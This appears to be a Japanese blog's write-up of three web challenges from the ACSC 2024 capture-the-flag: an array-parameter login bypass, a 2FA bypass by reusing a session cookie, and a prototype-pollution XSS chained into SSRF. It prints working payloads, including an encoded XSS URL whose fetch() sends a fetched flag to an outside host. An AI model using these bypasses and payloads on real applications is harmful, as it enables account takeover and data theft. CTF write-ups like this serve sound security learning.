よーでんのブログ

One for All,All for わんわんお!

Asian Cyber Security Challenge 2024 Writeups

Login! (web: 100 pt / 189 solves)

Here comes yet another boring login page ...

Login! - TOP

シンプルなログインフォーム。100ptだしSQLiかな~とか考えながらソースを開く。

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

USER_DB には user と guest の二つのユーザがいる。
guest はパスワード guest で固定なのに対して、user のパスワードは推測困難。

次はログイン時の処理。

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

ユーザ入力として受け取った username を使い USER_DB[username]user として保存後、
userundefined でない && user.password が入力値の password と等しいときにログイン成功。

ログイン後にユーザ名が guest でなければ flag がもらえるようだ。

途中でユーザ名の長さを制限していることに気付く。

    if (username.length > 6) return res.send('Username is too long');

こういう書き方をされると、反射で配列にしたくなる呪いにかかっている。

以下のようにすれば username.length は 1 となり、USER_DB[username]username に暗黙的な toString がされて guest でログインが成功するはず。

username[]=guest&password=guest

username を配列で送信しているので username === 'guest' は当然 false となり、flag が返ってくる。

ACSC{y3t_an0th3r_l0gin_byp4ss}

Too Faulty (web: 150 pt / 67 solves)

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.

ソースコードなし

Too Faulty - TOP

またログインフォーム。今度は Register があるので、とりあえず登録してログインしてみる。

Too Faulty - login後

適当な認証情報でログインすると role: user と言われるので、権限昇格か role: admin なアカウントの奪取が目的かな~となる。
2FA をセットアップできるので、やってみる。

Too Faulty - setup 2fa

スマホアプリ等で読み込めば 2FA の設定ができる。一度ログアウトしてログインしなおしてみる。

Too Faulty - 2fa

今度は 2FA の画面が出てきた。丁寧に CAPTCHA もついてる。
Trust only this devide をオンにすると、その端末からはそれ以降 2FA が必要なくなる。User-Agent か何かで見てるのかなと考える。

認証後はさっきと変わらず Setup 2FA と Logout しかないページとなるので、これで機能は全部だろうか。
ちなみに Setup 2FA はアカウント毎に 1 度しか利用できないようだった。

「完全エスパーで変なパラメーター名とかはレビューで弾かれるだろう」と信じて権限昇格を試みる。
ユーザ登録やログインなどの処理にすべて "role": "admin" とかのパラメータをつけて送信してみるが反応なし。

「完全エスパーで変な認証情報とかはレビューで弾かれるだろう」と信じて role: admin アカウントの奪取を試みる。
admin:admin としてログインしてみたところ、Verify 2FA の画面が出てきた。
ちなみに環境が共有なので他の参加者が作成してることも考えられるが、定期的なデータベースリセットで自分のアカウントが消えても admin:admin は残存していることを確認できたのでこれで間違いなさそう。

この時点で二つの方針を考えていた。

  • Verify 2FA 画面の「Trust only this」を利用して admin:admin のデバイスを総当たり
  • 認証のロジックのバグをついてガチャガチャやる

前者はかなり気が滅入るので、後者でガチャガチャやっていたら以下で行けた。

  1. 適当なアカウントでログイン後、Cookie の connect.sid を取得
  2. Cookie を付与して admin:admin でログイン

勝手に /2FA -> / とリダイレクトしていってログイン成功した判定になった。ラッキー。

ACSC{T0o_F4ulty_T0_B3_4dm1n}

Buggy Bounty (web: 275 pt / 54 solves)

Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.

id, url, explanation を送信するフォーム。

Buggy Bounty - TOP

送信時、botが動く。

router.post("/report_bug", async (req, res) => {
  try {
    const id = req.body.id;
    const url = req.body.url;
    const report = req.body.report;
    await visit(
      `http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`,
      authSecret
    );

bot は指定されたパラメーターで /triage にアクセスするのみ。

const visit = async (url, authSecret) => {
  try {
    const browser = await puppeteer.launch(browser_options);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();

    await page.setCookie({
      name: "auth",
      value: authSecret,
      domain: "127.0.0.1",
    });
    
    await page.goto(url, {
      waitUntil: "networkidle2",
      timeout: 5000,
    });
    await page.waitForTimeout(4000);
    await browser.close();

/triage は以下のとおり。

router.get("/triage", (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }
    let bug_id = req.query.id;
    let bug_url = req.query.url;
    let bug_report = req.query.report;

    return res.render("triage.html", {
      id: bug_id,
      url: bug_url,
      report: bug_report,
    });
    <div id="screen">
      <p class="font" id="product">Report ID:~$ {{id}}</p>
      <p class="font" id="product">Report URL:~$ {{url}}</p>
      <p class="font">Report:~$ {{report}}</p>
    </div>

/triage にあった isAdmin を見てみる。

const isAdmin = (req, res) => {
  return req.ip === "127.0.0.1" && req.cookies["auth"] === authSecret;
};

127.0.0.1 かつ Cookie が正しくないとアクセスできないらしい。

通常の遷移で使われていないエンドポイントがひとつ。/check_valid_urlssrfFilter を使いながら proxy 的に動いてくれる。

const ssrfFilter = require("ssrf-req-filter");

(snip)

router.get("/check_valid_url", async (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }

    const report_url = req.query.url;
    const customAgent = ssrfFilter(report_url);
    
    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);

flag は別のコンテナにあり、ポートは外部に開いてないのでさっきの ssrfFilter を回避しながら盗めるのかなと考える。

@app.route('/bounty', methods=['GET'])
def get_bounty():
    flag = os.environ.get('FLAG')
    if flag:
        return flag

とりあえず、bot/triage にアクセスしたときにどうにかして XSS しないと始まらない。
isAdminコメントアウトしてガチャガチャやっていたら、arg.js の v1.4 で Arg.parse を使っている。

var params = Arg.parse(location.search);

Prototype Pollution が既知らしいので、これが使えそう。

github.com

後はガジェット探しだが、「謎に読み込んでる launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js は何のファイルなんだろう・・・」と調べたら一瞬でガジェットが見つかった。

github.com

?__proto__[SRC]=<img/src/onerror%3dalert(1)> でアラートが確認できた。

Buggy Bounty - alert

後は XSS 経由で /check_valid_url で SSRF がしたい。ガチャガチャやっていたらよくわからないがリダイレクトで行けた。
Location: http://reward:5000/bounty を発行するサーバを準備して、URLを指定すると flag が表示される。

http://localhost/check_valid_url?url=https://example.jp

flag が同じドメイン内に表示できたので、後はそれを盗んでやるだけ。

fetch("/check_valid_url?url=https://example.jp")
    .then((r) => r.text())
    .then((t) => { fetch("https://example.jp?" + t) })

最終的なURLは以下。URLエンコードとにらめっこしながら頑張った。

http://localhost/triage?id=1111&url=gheogheo&report=a&__proto__[SRC]=%3Cimg/src/onerror%3D%27fetch(%22%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fexample.jp%22).then((r)%3D%3Er.text()).then((t)%3D%3E%7Bfetch(%22https%3A%2F%2Fexample.jp%3F%22%2Bt)%7D)%27%3E

ということで、id と url を適当に埋めて report に a&__proto__[SRC]=%3Cimg/src/onerror%3D%27fetch(%22%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fexample.jp%22).then((r)%3D%3Er.text()).then((t)%3D%3E%7Bfetch(%22https%3A%2F%2Fexample.jp%3F%22%2Bt)%7D)%27%3E の部分を渡せば flag が手に入る。

ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}